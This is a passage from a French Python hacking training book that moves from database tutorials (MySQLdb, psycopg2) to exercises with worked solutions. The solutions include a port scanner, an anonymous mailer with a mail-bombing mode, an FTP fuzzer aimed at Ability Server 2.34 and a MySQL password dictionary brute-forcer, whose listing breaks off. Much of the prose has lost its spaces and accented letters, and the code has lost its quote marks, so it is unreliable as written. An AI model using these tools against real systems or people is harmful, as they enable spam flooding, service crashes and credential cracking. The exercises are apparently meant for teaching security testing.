discontinued. Please remove the stamps from your website.
<!-<p>The CAcert Site Stamp Programme is a very useful tool for
site owners everywhere, it allows you yet another option to
prevent people from stealing your content or making a fake site to
pretend to be your site to carry out a phishing attack against
your customers.</p>
<p>To add the CAcert logo to your site you need to register
for a <a href="https://www.cacert.org">CAcert</a> server

- 4-

ENI Editions - All rights reserved - chantal gournier

certificate, then add the following line somewhere


on your website:</p>
<p>&lt;script type="text/javascript"&gt;<br />
&lt;!- -<br />
document.write(&lt;);<br />
document.write(script type="text/javascript"
src="+location.protocol+//stamp.cacert.org/showlogo.php"&gt;&lt;
);<br />
document.write(/script&gt;);<br />
// - -&gt;<br />
&lt;/script&gt;</p>
< s c ript type="text/javascript">
< ! - document.write(<);
document.write(script type="text/javascript"
src="+location.protocol+//stamp.cacert.org/showlogo.php"><);
document.write(/script>);
//- ->
</script>
<br /><br /><br /><br />
-->
</div>
</div>
</div>
</body>
</html>
fasm@moya:~/ENI_livre_formation/livre_python/exemples$

Lafonctionprintx509()affichelesinformationsducertificat.ElleutiliselesdiffrentsattributstelsqueCN,OU
commeunecldanslobjet.chaquefoisqueverify()estappele,printx509()estappeledeuxfois :

unefoispourlesujet(lecertificatluimme)

unefoispourlmetteur(lenomdelorganisationquimetlecertificat).

Lafonctionverify()rcupredonclesinformations.
Aprs cette fonction, on tente la connexion SSL, lappel load_verify_locations() spcifie le nom des
fichiersquicontiennentlesinformationsduCA.
Lappelset_verify()dfinitquellesortedevrificationOpenSSLdoitfaire.

ENI Editions - All rights reserved - chantal gournier

- 5-

Utilisationdebasesdedonnes
1.Introduction
Nousallonsfrquemmentretrouverdansnotreviedinformaticiendesbasesdedonnes,quecesoitdansdes
applicationsoudessiteswebdynamiques.Ilexisteplusieurstypesdebasesdedonnes,labasededonnes
relationnellelapluspopulairetantMySQL.
IlexisteplusieursoutilssousPythonpermettantdegrercesdiffrentesbasesdedonnes.

2.MySQLdb
a.Rappel
Pour continuer, nous aurons besoin dun serveur MySQL dans laquelle nous allons ajouter ces quelques
donnes :

mysql -p
CREATE DATABASE python_db;
USE python_db;
CREATE TABLE IF NOT EXISTS USER(id int auto_increment PRIMARY KEY,
pseudo text);
INSERT INTO USER (pseudo) VALUES (FaSm);
INSERT INTO USER (pseudo) VALUES (Codej);
INSERT INTO USER (pseudo) VALUES (Brix);
INSERT INTO USER (pseudo) VALUES (Guifort);

Nouspossdonsdoncmaintenantunepetitebaseetunepetitetable,labasetantdestineconteniruneou
plusieurstables.
Notretablecontientdeuxcolonnes(ATTRIBUTS).Lapremireestunentierquisincrmenteautomatiquement
chaqueinsertion,lasecondecontientlepseudonymedelutilisateur.
Nousinsronsquatrevaleurs(lesidvontsincrmenterde14).Chaquelignedecettetableestappeleun
tuple.Lesprincipalesactionsquelonpeutfairesurunebasededonnessontlessuivantes :

Seconnecter

Listerleslmentsdunetable(clauseSELECT)

Ajouterunlmentdansunetable(clauseINSERT)

Mettrejouruntuple(clauseUPDATE)

Mettrejourunestructure(clauseALTER)

Dtruiredesdonnesoudestables(clauseDELETE,DROP)

b.Utilisation

import MySQLdb
lien_db=MySQLdb.connect(host= "localhost", user="root",
passwd="", db="test")

ENI Editions - All rights reserved - chantal gournier

- 1-

Nous importons le module puis nous appelons lune de ses fonctions avec des paramtres nomms (ce qui
permetdelespassersansordreprcis).
Nous nous connectons donc une base de donnes situe sur la machine localhost qui correspond la
machinelocale.
NousnousconnectonsentantquerootavecunmotdepassevidelabasededonnesTEST.
Pardfaut,MySQLnedfinitpasdemotdepassepourrootetcreunebasevideappeleTEST.
Pensezdoncmettreunmotdepasseetsupprimercettebasepourunserveurdeproduction.
NousvoilconnectsnotreserveurMySQL.
Pensez bien sr adapter ces paramtres dans le script si votre serveur est dj configur. Nous allons
maintenantlisterlatableUSER.
chap1_exo42.py

import MySQLdb
lien_db=MySQLdb.connect(host= "localhost", user="root",
passwd="python", db="python_db")
lien_db.query("SELECT * FROM USER")
resultat= lien_db.store_result()
nb_tuple=resultat.num_rows()
while nb_tuple>0 :
ligne=resultat.fetch_row()
print ligne
nb_tuple=nb_tuple - 1

Rsultatduscriptchap1_exo42.py

fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo42.py
((1L, FaSm),)
((2L, Codej),)
((3L, Brix),)
((4L, Guifort),)
fasm@moya:~/ENI_livre_formation/livre_python/exemples$

Lexplication de ce code est assez simple. Dabord nous nous connectons en crant un lien avec la base de
donneslien_db.
Celienestenfaitunobjetdontlesmthodesvontnousservirpourlamanipuler.Toutdabordaveclamthode
query()acceptantunechanedecaractresenparamtre.Ellevasimplementenvoyerlarequte(queryen
anglais)auserveursanssesoucierduretourdunequelconquerponse(saufleserreurs).
Nous passons ici la requte qui va slectionner tous les tuples de la table USER qui va garder ces donnes
jusqucequenousluidemandions.Cequenousfaisons grcelappel store_result()quirenvoieun
objetdetype ressourceMySQL .
Nosdonnessetrouventalorsdanslavariableresultat.

Une petite astuce quand vous fonctionnez par ttonnement, une instruction print variable
afficheraletypedelavariablesicellecinestpasunevariablequelonpeutafficher(cestlecasde
resultatdanslexemple).

Il existe des mthodes de lobjet resultat qui vont nous permettre de ressortir les donnes. La mthode

- 2-

ENI Editions - All rights reserved - chantal gournier

fetch_row() nous renvoie un tuple dans lequel se trouvent dautres tuples : le premier contient vos
donnes,lesecondestuntuplevide.
Sansparamtres, fetch_row()nousrenvoiedoncuneseuleligne.Pourrcuprer lensembledursultatde
notre requte, nous faisons une simple boucle avec comme intervalle le rsultat dune autre mthode de
resultatnommenum_rows().
Ilsagitdelamthodequinousindiquecombiendelignescontientlersultatdelarequte.
Maintenant, fetch_row()acecidarrangeantquellepeutprformatersasortie.Sijusquicinousavonsreu
untupledetuples,nouspouvonsluidemander dercuprer,nonplusune,maistouteslesligneslafoiset
nouslesenvoyersousunformatplusarrangeant,commeuntuplededictionnaire.
chap1_exo43.py

#!/usr/bin/env python
#coding:utf-8
import MySQLdb
lien_db=MySQLdb.connect(host="localhost", user="root",
passwd="acissi", db="python_db")
lien_db.query("SELECT * FROM USER")
resultat= lien_db.store_result()
nb_tuple=resultat.num_rows()
ligne=resultat.fetch_row(maxrows=nb_tuple,how=1)
print ligne

Rsultatduscriptchap1_exo43.py

fasm@moya:~/ENI_livre_formation/livre_python/exemples$ python
chap1_exo43.py
({pseudo: FaSm, id: 1L}, {pseudo: Codej, id: 2L},
{pseudo: Brix, id: 3L}, {pseudo: Guifort, id: 4L})

Nous avons un tuple, dont nous connaissons le nombre dlments (nb_tuples) et qui contient des
dictionnaires.Nouspouvonsdonc,entantquepropritairesdelabasededonnes,rcuprerleursdonnes
grceauxenttesdecolonne(attributs).

print ligne[0]["pseudo"]

Nouspouvonsdoncrcuprerlepseudodupremierutilisateurlissuedelarequtecidessus.
Ilexisteuneautremthodequestore_result().Eneffet,quandcellecirapatriedepuisleserveurtousles
tuplesrsultantsdenotrerequte,use_result()nelesrapatriequunparun.
Alors,danslecasderequtesquirenverrontbeaucoupdetuples,store_result()mettrauncertaintemps
toutrcuprermaispermettradesaccsplusrapidesparlasuite.

Use_result() permettra un rapatriement rapide mais laccs sera ralenti par le devoir de contacter le
serveurchaqueaccsdetuple.
Pourlinsertiondansunebasededonnes,quicorrespondunesimplerequte,nousvoulonsgnralement
savoirsiellesestbienpasse.
Unsimpleappelquery()devraitnoussuffire.
chap1_exo44.py

ENI Editions - All rights reserved - chantal gournier

- 3-

#!/usr/bin/env python
#coding:utf-8
import MySQLdb
lien_db=MySQLdb.connect(host="localhost", user="root",
passwd="acissi", db="python_db")
requete="INSERT INTO USER(pseudo) VALUE(Serge)"
lien_db.query(requete)
lien_db.commit()
requete="SELECT * FROM USER"
lien_db.query(requete)
resultat= lien_db.store_result()
nb_tuple=resultat.num_rows()
for l in resultat.fetch_row(maxrows=nb_tuple,how=1):
print l["id"],l["pseudo"]
lien_db.close()

Rsultatduscriptchap1_exo44.py

fasm@moya:~/ENI_livre_formation/livre_python/exemples$ python
chap1_exo44.py
1 FaSm
2 Codej
3 Brix
4 Guifort
5 Serge

Nousremarquonslappellafonctioncommit(),cetappelesttrsfortementrecommand.Ilmetfinceque
lonappelleunetransaction.
LinsertionparMySQLestgrecommetelleetsinousnefaisonspascetappel,notreinsertionrisquedene
pastresauvegardeoudenepastrepriseencompte.Notreinsertiondeviendraituntuplefantmequine
serait pas assimil 100 % par le serveur qui ne le rpercuterait pas dans les requtes dventuels autres
clients.
Ilestrecommandgalementdeprocderun commit(),mmeaprsunerequteSELECT,neseraitceque
pourmettrejourlesstatistiquesetlesinformations daccsinternesauserveurMySQL.
Une petite astuce consiste lancer lien_db.auto-commit(true) qui demande Python de lancer
automatiquement la mthode commit(). Mais ceci peut engendrer des latences, notamment si nous
excutonsplusieursrequtes daffile.Nouspourrionsnoussatisfairedunsimplecommitdefindetoutesles
requtes,alorsqueautocommit()feralademandepourchaquerequte.
La requte en ellemme est assez simple. Nous insrons un nouveau pseudo et lid, comme convenu, va
sincrmenter automatiquement. Nous rcuprons ensuite la liste des id et des pseudos. Enfin, et chose que
nousnavonspasencorefaitejusquel,nousavonscloslelienentrenotrescriptetMySQL.
Danslecasdunscriptquicontinueletraitementaprslaccslabasededonnes,ilfautdlierlelienentre
lescriptetMySQL.
Nous devons avoir en tte que le serveur MySQL limite le nombre de connexions entrantes et, si nous ne
fermonspasleliendsquepossible,nousmonopolisonsuneplacepourrien.
Pourlesmisesjourdetuples,detables,lesajoutsdutilisateursoutouteautreoprationsurnosbasesde
donnes,ilnexisteaucunediffrenceauniveauducodePython.
IlnoussuffitderemplacersimplementnotrerequteINSERTparUPDATE,ALTER,DROPouGRANTparexemple.
Les principales choses connatre pour faire discuter Python et MySQL ensemble sont donc de savoir se
connecter,envoyerunerequte,rcuprerlesventuelsrsultatsetsedconnecter.

- 4-

ENI Editions - All rights reserved - chantal gournier

3.PostgreSQL
a.Introductionetpremireconnexion
IlexistediffrentesmthodespourseconnecterenPythonunebasededonnes PostgreSQL.Nousallons
danscettepartieutiliserpsycopg.
Lamthode connect() de psycopg demande comme argument une chane de caractres contenant toutes
lesinformationsncessairespourtabliruneconnexionavecleserveur.Lafonction getdsn() nous permet
dercuprertoutescesinformations.
chap1_exo45.py

#!/usr/bin/env python
#coding:utf-8
import psycopg2
def getdsn(db = None, user = None, passwd = None, host = None):
if user == None:
import os, pwd
user = pwd.getpwuid(os.getuid())[0]
if db == None:
db=user
dsn=dbname=%s user=%s%(db,user)
if passwd != None:
dsn += password= + passwd
if host != None:
dsn += host= + host
return dsn
dsn=getdsn(python_db,fasm, ,localhost)
print "Connexion a %s"%dsn
dbh=psycopg2.connect(dsn)
print "connexion reussie."
ddh.close()

Rsultatduscriptchap1_exo45.py

fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo45.py
Connexion a dbname=python_db user=fasm password= host=localhost
connexion reussie.
fasm@moya:~/ENI_livre_formation/livre_python/exemples$

b.Excuterdescommandes
Nous savons maintenant nous connecter une base de donnes PostgreSQL. Nous allons maintenant voir
comment lui envoyer des commandes. Nous devons bien sr avoir une base de donnes fonctionnelle pour
testerlesscriptssuivants.
Pourlancernimportequellecommande,nousdevonsenpremierlieuobteniruncurseur.Leconceptducurseur
est daider simplifier les rsultats des requtes, mais pour linstant, nous allons nous focaliser sur les
commandesetnonlesrsultats.
Nousallonsvoirmaintenantcommentcrerunetableetchargerquelquesdonnes.
chap1_exo46.py

ENI Editions - All rights reserved - chantal gournier

- 5-

#!/usr/bin/env python
#coding:utf-8
import psycopg2
def getdsn(db = None, user = None, passwd = None, host = None):
if user == None:
import os, pwd
user = pwd.getpwuid(os.getuid())[0]
if db == None:
db=user
dsn=dbname=%s user=%s%(db,user)
if passwd != None:
dsn += password= + passwd
if host != None:
dsn += host= + host
return dsn
dsn=getdsn(python_db,fasm, ,localhost)
print "Connexion a %s"%dsn
dbh=psycopg2.connect(dsn)
print "connexion reussie."
cur=dbh.cursor()
cur.execute("CREATE TABLE eni_edition (mon_num integer UNIQUE,
ma_chaine varchar(30))")
cur.execute("INSERT INTO eni_edition VALUES (0)")
dbh.commit()
dbh.close()

Rsultatduscriptchap1_exo46.py

fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo46.py
Connexion a dbname=python_db user=fasm password= host=localhost
connexion reussie.
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
fasm@moya:~/ENI_livre_formation/livre_python/exemples$ psql -d
python_db
psql (9.1.2)
Type "help" for help.
python_db=# \d
List of relations
Schema |
Name
| Type | Owner
--------+-------------+-------+------public | eni_edition | table | fasm
public | pseudo
| table | fasm
(2 rows)
python_db=#

Le script commence par se connecter de la mme manire que prcdemment. Ensuite nous crons un objet
curseur(cursor())puisnouslanonsexecute() troisfois.
Nousfinissonsparuncommit().

c.Cacherleschangements
Unpanintressantdessystmesdetransaction(nousenavonsparldanslapartieMySQL)estquelesautres
utilisateurs et programmes ne voient pas les changements que nous faisons jusqu ce que nous les ayons
termins(commit()).

- 6-

ENI Editions - All rights reserved - chantal gournier

Voiciunexemplequiutilisececoncept :
chap1_exo47.py

#!/usr/bin/env python
#coding:utf-8
import psycopg2
def getdsn(db = None, user = None, passwd = None, host = None):
if user == None:
import os, pwd
user = pwd.getpwuid(os.getuid())[0]
if db == None:
db=user
dsn=dbname=%s user=%s%(db,user)
if passwd != None:
dsn += password= + passwd
if host != None:
dsn += host= + host
return dsn
dsn=getdsn(python_db,fasm, ,localhost)
print "Connexion a %s"%dsn
dbh=psycopg2.connect(dsn)
print "connexion reussie."
cur=dbh.cursor()
cur.execute("DELETE FROM eni_edition")
cur.execute("INSERT INTO eni_edition VALUES (0)")
dbh.commit()
dbh.close()

Ce script remplace le contenu de la table avec une seule ligne. Lavantage est que les utilisateurs peuvent
encoreliredanslatable,mmeaprsleDELETEetce,jusqucequecommit()soitappel.

d.Rpterdescommandes
Unproblmecommunauxbasesdedonnesestqueleprogrammeurdoitsouvent lancerlammecommande
demultiplesfois.AvecSQL,celaveutdireparexemplefairedesINSERTINTOdesmilliersdefois.
Lafonction executemany()prendcommeargumentunecommandeetunelistedenregistrements.Chaque
enregistrementpeuttreuneautrelisteouundictionnaire.
Chap1_exo48.py

#!/usr/bin/env python
#coding:utf-8
import psycopg2
rows=({num:0, text : zero},{num:1,text:Un},
{num:2,text:Deux},{num:3,text:trois})
def getdsn(db = None, user = None, passwd = None, host = None):
if user == None:
import os, pwd
user = pwd.getpwuid(os.getuid())[0]
if db == None:
db=user
dsn=dbname=%s user=%s%(db,user)
if passwd != None:
dsn += password= + passwd
if host != None:
dsn += host= + host
return dsn
ENI Editions - All rights reserved - chantal gournier

- 7-

dsn=getdsn(python_db,fasm, ,localhost)
print "Connexion a %s"%dsn
dbh=psycopg2.connect(dsn)
print "connexion reussie."
cur=dbh.cursor()
cur.execute("DELETE FROM eni_edition")
cur.executemany("INSERT INTO eni_edition VALUES (%(num)d,%
(text)s)",rows)
dbh.commit()
dbh.close()

Cescriptvainsrerlesquatrelignescontenuesdansrows.

e.Rcuprerdesdonnes
Quand la base de donnes est cre et fonctionnelle, il faut bien sr pouvoir rcuprer les donnes pour
lapplication.
Les requtes sont envoyes via la mthode execute() et les rsultats sont obtenus via une mthode
fetch().
Ilexistediffrentesmthodesfetch:

Lamthode fetchall()varcuprertousleschampsetvaretourneruneliste.Chaquelmentde
lalistecorrespondunenregistrement.
Latotalitdelarequteestchargeenmmoire.

chap1_exo49.py

#!/usr/bin/env python
#coding:utf-8
import psycopg2

def getdsn(db = None, user = None, passwd = None, host = None):


if user == None:
import os, pwd
user = pwd.getpwuid(os.getuid())[0]
if db == None:
db=user
dsn=dbname=%s user=%s%(db,user)
if passwd != None:
dsn += password= + passwd
if host != None:
dsn += host= + host
return dsn
dsn=getdsn(python_db,fasm, ,localhost)
print "Connexion a %s"%dsn
dbh=psycopg2.connect(dsn)
print "connexion reussie."
cur=dbh.cursor()
cur.execute("SELECT * FROM eni_edition")
rows=cur.fetchall()
print rows
for row in rows:
print row
dbh.commit()
dbh.close()

- 8-

ENI Editions - All rights reserved - chantal gournier

Rsultat

fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo49.py
Connexion a dbname=python_db user=fasm password= host=localhost
connexion reussie.
(0,ZERO)
(1,Un)
(2,Deux)
(3,trois)

Nouspouvonsaussiutiliserfetchmany()pourrcuprerligneparligne:

#!/usr/bin/env python
#coding:utf-8
import psycopg2

def getdsn(db = None, user = None, passwd = None, host = None):


if user == None:
import os, pwd
user = pwd.getpwuid(os.getuid())[0]
if db == None:
db=user
dsn=dbname=%s user=%s%(db,user)
if passwd != None:
dsn += password= + passwd
if host != None:
dsn += host= + host
return dsn
dsn=getdsn(python_db,fasm, ,localhost)
print "Connexion a %s"%dsn
dbh=psycopg2.connect(dsn)
print "connexion reussie."
cur=dbh.cursor()
cur.execute("SELECT * FROM eni_edition")
cur.arraysize=2
while 1 :
rows=cur.fetchmany()
print "Obtenu %d resultats de fetchmany()."%len(rows)
if not len(rows) :
break
for row in rows :
print row
dbh.close()

Nouspouvonsutiliseraussifetchone()pourrcuprerlesrsultatsunun.

Dautresmthodessontdisponiblespourrcuprercertainesdonnesoulestraiter,etladocumentationbien
fourniesurlesitedePython.orgousurdiffrents siteswebddisPythonvouspermettradetrouvercedont
vousaurezbesoindansvosfutursdveloppements.

ENI Editions - All rights reserved - chantal gournier

- 9-

Conclusion
Nous venons de faire le tour des principales bibliothques et mthodes pour une programmation rseau. Il en
existebiendautrestellesquepycurlparexemple.Nousnepouvonsbiensrpastudiertoutescesbibliothques
endtail.
Une recherche personnelle et une veille constante sont ncessaires pour rester jour en Python mais aussi et
surtout dans les outils de Hacking disponibles sur le net qui, dans la majorit des cas, sont cods en Python
(wapiti,hachoir...).
LechapitreRseau:labibliothqueScapyseracompltementconsacrunebibliothquebienparticulireetqui
plusestcriteparunFranais.
Maisavantcela,appliquonslesconnaissancesacquisesparlebiaisdexercicesconcrets.
Le but pour un meilleur apprentissage est de lire lnonc, puis dessayer de crer le script sans regarder la
correction.

ENI Editions - All rights reserved - chantal gournier

- 1-

Miseenpratique
1.Cas1 :Scannerdeports
a.nonc
Prrequis :socket.
But :savoirprogrammerunsocketenPython.
nonc :
VousallezcrerunscriptPythonquiscannelesportsdunhtedistantdontvousconnaissezladresseIP.
Lesportsscannsserontlesports21,22,25,53,80,139,443,1080,3128,8080,8081.
Vousafficherezlcranlalistedesportsouvertsetlalistedesportsferms.
LadresseIPscannerserademandelutilisateur.

b.Correction
chap1_tp1.py

#!/usr/bin/env python
#--*--coding:UTF-8--*--

# On importe les modules


import socket
import errno
# Creation de 3 listes : pour lensemble des ports a scanner, une
# autre pour pouvoir mettre les ports ouverts et une autre pour les
# ports fermes
ports=[21,22,25,53,80,139,443,1080,3128,8080,8081]
portouvert=[]
portferme=[]
# saisie de ladresse IP a scanner par lutilisateur
print "Adresse IP a scanner?"
ip = raw_input()
i = 0
j = 0
while i < 10:
# On cree le socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
retourscan = s.connect_ex((ip,ports[i]))
# Pour la connexion reussie
if retourscan == 0:
# on ferme la connexion
s.shutdown(socket.SHUT_RDWR)
# on ferme aussi le socket
s.close()
# on ajoute le port ouvert dans la liste
portouvert.append(ports[i])
# Pour une erreur de connexion
else:
# Erreur de connexion - Port ferme
ENI Editions - All rights reserved - chantal gournier

- 1-

if errno.errorcode[retourscan]=="ECONNREFUSED":
# on ajoute le port ferme dans la liste
portferme.append(ports[i])
# Erreur de connexion - On indique que lhote est
# introuvable
else:
print "Hote introuvable"
j = 1
# On ferme la boucle
i = 10
i = i + 1
#Si j = 1 on ferme le programme
if j==1:
print "Fermeture du programme."
# On affiche soit que tous les ports sont fermes, soit separement,
# ceux qui sont ouverts et ceux qui sont fermes
else:
if (len(portouvert) == 0):
print "Tous les ports sont fermes"
else:
print "Ports fermes:" , portferme
print "Ports ouverts:" , portouvert

2.Cas2 :Envoidemails
a.nonc
Prrequis :bibliothqueSMTPetemail
But :crerunscriptdenvoidemails
nonc :
VousallezraliserunscriptPythonquinouspermetdefairedumailbombing.
Unmenuaudmarrageprsenteraleschoixpossibles :
Exempledaffichage

[+]
[+]
[+]
[+]

1
2
3
4

Envoyer un simple mail anonyme


Envoyer un mail anonyme en HTML
Envoyer un mail anonyme en HTML avec piece jointe
Mail Bombing

Lutilisateurpourrachoisir:

- 2-

leserveurSMTP

ladressemailsource

ladressemaildedestination

lesujet

ladate

lecorpsdutexte

lenombredemailsenvoyer

unfichierjoint.
ENI Editions - All rights reserved - chantal gournier

Toutaulongduprocessusdenvoi,lutilisateurauradesinformations,lcran,surledroulement.
Unfichierdelogseragnrafindegarderunetracedesoprationseffectues(russiesounon).

Attention, le mail bombing est strictement interdit, utilisezle donc avec prcaution et dans votre
rseauinterneetsurvosadressesemail.

b.Correction
chap1_tp2.py

#! /bin/python
# -*- coding:UTF-8 -*# auteur : Julien Millet
# CDAISI 2011-2012
import os
import smtplib
from email.MIMEBase import MIMEBase
from email.MIMEText import MIMEText
from email.MIMEMultipart import MIMEMultipart
from email.MIMEImage import MIMEImage
import mimetypes, posixpath
from email import Utils
destinataire = ""
expediteur = ""
sujet = ""
date = ""
message = ""
serveur = ""
fichierHTML = ""
fichier = ""

def setInformations():
print "\n"
serveur = raw_input("-> Serveur SMTP : ")
destinataire = raw_input("-> Destinataire : ")
expediteur = raw_input("-> Expditeur : ")
sujet = raw_input("-> Sujet : ")
#message = raw_input("-> Message : ")
date = raw_input("-> Date : ")
return serveur, destinataire, expediteur, sujet, message,
date

def initInformations():
destinataire = ""
expediteur = ""
sujet = ""
date = ""
message = ""
serveur = ""
fichierHTML = ""
fichier = ""

def simple():
infos = setInformations()

ENI Editions - All rights reserved - chantal gournier

- 3-

message = raw_input("-> Message : ")


# creation du mail
mail = MIMEText(message)
mail[From] = infos[2]
mail[Subject] = infos[3]
mail[To] = infos[1]
mail[Date] = infos[5]
mail[Message-ID] = Utils.make_msgid()
serv = smtplib.SMTP(infos[0])
print "Configuration du serveur smtp"
serv.sendmail(infos[2], infos[1], mail.as_string())
print "le message est envoye"
serv.quit()

def simpleHTML():
#initInformations()
infos = setInformations()
fichierHTML = open(raw_input("-> Chemin de la page HTML :
"), "r").read()
print fichierHTML
# creation dun objet multipart
emailmultipart = MIMEMultipart()
# on ajoute les headers pour le mail principal
emailmultipart[From] = infos[2]
emailmultipart[To] = infos[1]
emailmultipart[Subject] = infos[3]
# on cree un message simple en HTML
emailtext = MIMEText(fichierHTML, html)
# on attache ce mail notre multipart
emailmultipart.attach(emailtext)
# on envoie le mail
serveur = smtplib.SMTP(infos[0])
serveur.sendmail(infos[2], infos[1],
emailmultipart.as_string())
serveur.quit()

def doubleHTML():
liste_fichiers = []
initInformations()
infos = setInformations()
fichierHTML = open(raw_input("-> Chemin de la page HTML :
"), "r").read()
nbFichier = raw_input("-> Combien de pices envoyer : ")
for i in range(int(nbFichier)):
liste_fichiers.append(raw_input("\tFichier " + str(i)
+ " : "))
#fichier = raw_input("-> Chemin du fichier envoyer : ")
# creation dun objet multipart
emailmultipart = MIMEMultipart()
# on ajoute les headers pour le mail principal
emailmultipart[From] = infos[2]
emailmultipart[To] = infos[1]
emailmultipart[Subject] = infos[3]
# on cree un message simple en HTML
emailtext = MIMEText(fichierHTML, html)
# on attache ce mail a notre multipart
emailmultipart.attach(emailtext)
for l in liste_fichiers:
part = MIMEBase(application, "octet-stream")
print l

- 4-

ENI Editions - All rights reserved - chantal gournier

part.set_payload(open(l, "rb").read())
#Encoders.encode_base(part)
part.add_header(Content-Disposition, attachment;
filename="%s" % os.path.basename(l))
emailmultipart.attach(part)
# on envoie le mail
print "Connexion au serveur de mail"
serveur = smtplib.SMTP(infos[0])
print "Configuration du mail"
serveur.sendmail(infos[2], infos[1],
emailmultipart.as_string())
print "Message envoye"
serveur.quit()
def bombing():
liste_fichiers = []
#initInformations()
infos = setInformations()
message = raw_input("-> Message : ")
nbFichier = raw_input("-> Combien de pieces a envoyer : ")
for i in range(int(nbFichier)):
liste_fichiers.append(raw_input("\tFichier " +
str(i) + " : "))
# creation dun objet multipart
emailmultipart = MIMEMultipart()
# on ajoute les headers pour le mail principal
emailmultipart[From] = infos[2]
emailmultipart[To] = infos[1]
emailmultipart[Subject] = infos[3]
# on cree un message simple en HTML
emailtext = MIMEText(message, html)
# on attache ce mail a notre multipart
emailmultipart.attach(emailtext)
for l in liste_fichiers:
part = MIMEBase(application, "octet-stream")
print l
part.set_payload(open(l, "rb").read())
#Encoders.encode_base(part)
part.add_header(Content-Disposition,
attachment; filename="%s" % os.path.basename(l))
emailmultipart.attach(part)
nombre = raw_input("-> Nombre de mails a envoyer : ")
# on envoie le mail
print "Connexion au serveur de mail"
serveur = smtplib.SMTP(infos[0])
print "Configuration du mail"
for i in range(int(nombre)):
serveur.sendmail(infos[2], infos[1],
emailmultipart.as_string())
print "Message envoye"
serveur.quit()

def menu():
os.system("clear")
print "**************************************"
print "*
MAILER ANONYME
*"
print "*
MAIL BOMBING
*"
print "*
-----------------*"
print "*
Eni Edition
*"
print "**************************************"

ENI Editions - All rights reserved - chantal gournier

- 5-

print
print
print
print
jointe"
print
print
choix

""
"[+] 1 - Envoyer un simple mail anonyme"
"[+] 2 - Envoyer un mail anonyme en HTML"
"[+] 3 - Envoyer un mail anonyme en HTML avec piece
"[+] 4 - Mail Bombing"
"---------------------------------------------"
= int(raw_input("Choix > "))

if (choix == 1):
simple()
elif (choix == 2):
simpleHTML()
elif (choix == 3):
doubleHTML()
elif (choix == 4):
bombing()
menu()
else:
menu()

if __name__ == "__main__":
menu()

3.Cas3 :FuzzingdeFTP
a.nonc
Prrequis : FTP.
But :crerunscriptPythondefuzzingFTP.
nonc :
VousallezcrerunscriptPythonquitestelesfaillespossiblesdunserveurFTP,AbilityServer2.34,quevous
trouverezsurlenet.
InstallezAbilityServersurunemachineWindows,enlaissantlesparamtrespardfautetcrezunutilisateur
ftp(identifiant :ftpetmotdepasse :ftp).
partirdunemachinedistante,vouslancerezvotrescriptpourtesterAbilityServer.
Vousgrerezlesexceptionsetfermerezlaconnexionproprementdanstouslescas.
Lorsque vous serez connect, vous enverrez les commandes MKD, CWD et STOR avec des arguments (par
exempleAAAA)
STORAAAA
MKDAAAA
CWDAAAA
Nous voudrions, pour finir, que ces arguments soient variables et que lon puisse envoyer de 20 2000
arguments,parpasde20,pourchaquecommande.
Vous afficherez lcran lvolution des commandes et afficherez le nombre darguments qui fait planter
AbilityServeretavecquellecommande.

- 6-

ENI Editions - All rights reserved - chantal gournier

b.Correction
chap1_tp3.py

#!/usr/bin/env python
#--*-- coding:UTF-8 --*-import socket
commande=[MKD,CWD,STOR]
for command in commande:
car=" "
while len(car)<2000:
car=car+"A"*20
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.0.1",21))
data=s.recv(1024)
print data
s.send("USER ftp\r\n")
print s.recv(1024)
s.send("PASS ftp\r\n")
print s.recv(1024)
commands=command + " "+car+"\r\n"
s.send(commands)
print commands + " : " + str(len(car))
s.send("QUIT\r\n")

4.Cas4 :ParsingdepageWeb
a.nonc
Prrequis :urllib,re,urllib2
But :crerunelistedesousdomainescontenusdansunsiteweb.
nonc :
RalisezunscriptPythonquicreunelistedadressesdesousdomainesprsents dansunsiteweb.
Pour cela, lutilisateur entrera une URL, le script recherchera dans la page daccueil les sousdomaines puis
afficheralcranceuxcienliminantlesdoublons.
Exempledaffichage

fasm@moya:~/ENI_livre_formation/livre_python/exemples$ python
chap1_tp4.py http://www.icq.com
=================================================
Resultat pour le site icq.com
=================================================

sous
sous
sous
sous
sous
sous
sous

domaine
domaine
domaine
domaine
domaine
domaine
domaine

0
1
2
3
4
5
6

:
:
:
:
:
:
:

ftp.icq.com
c.icq.com
people.icq.com
company.icq.com
games.icq.com
greetings.icq.com
chat.icq.com

ENI Editions - All rights reserved - chantal gournier

- 7-

sous domaine 7 : download.icq.com


================================================

b.Correction

#!/usr/bin/env python
#coding:utf-8
import sys, urllib2,re
req=urllib2.Request(sys.argv[1])
req2=sys.argv[1].split(".")
req2.pop(0)
req3=..join(req2)
fd=urllib2.urlopen(req)
data=fd.readlines()
result=list(set(re.findall(r"http://(\w+)\."+req3,str(data))))
print "================================================="
print "
Resultat pour le site "+req3
print "=================================================\n\n"
i=0
for res in result:
if res != www:
print "sous-domaines"+str(i)+" : "+res+"."+req3
i=i+1
print "\n================================================"

5.Cas5 :BruteforceMySQL
a.nonc
Prrequis :MySQLdb
But :raliserunscriptPythondeBruteForcepardictionnairedemotdepasseMySQL.
nonc :
VousdevezraliserunscriptenPythonquitestelarobustessedevotremotdepasserootsurMySQL.
Pourcela,vousdevrezmettreenargumentundictionnaire(rcuprezcedictionnaire, lefranais,surcesite :
ftp://ftp.ox.ac.uk/pub/wordlists/).
Vousdevrezensuiteparcourircedictionnairepourrcuprerununchaquemotdepasse.
Voustenterezensuiteuneconnexionsurunebasededonnesquevousaurezcrepourcetteoccasion.
Vousdevrezdtectersilaconnexionarussiounon.
Unrapportdansunfichiertexteseragnr,donnantletempspourtrouverlemotdepasse(silesttrouv).

b.Correction

#!/usr/bin/env python
#coding:utf-8
import MySQLdb,sys,time

- 8-

ENI Editions - All rights reserved - chantal gournier

from string import rstrip


fd=open(sys.argv[1])
file=open(sys.argv[2],"w")
liste_pass=fd.readlines()
i=0
for password in liste_pass:
try:
MySQLdb.connect("localhost",
"root",password.rstrip(), "python_db")
file.write("le mot de passe a ete trouve :" +
password +"\n")
file.close()
print "===== Mot de passe trouve !!=====\n"
print "
"+password
print "================================="
sys.exit(0)
except MySQLdb.Error, e:
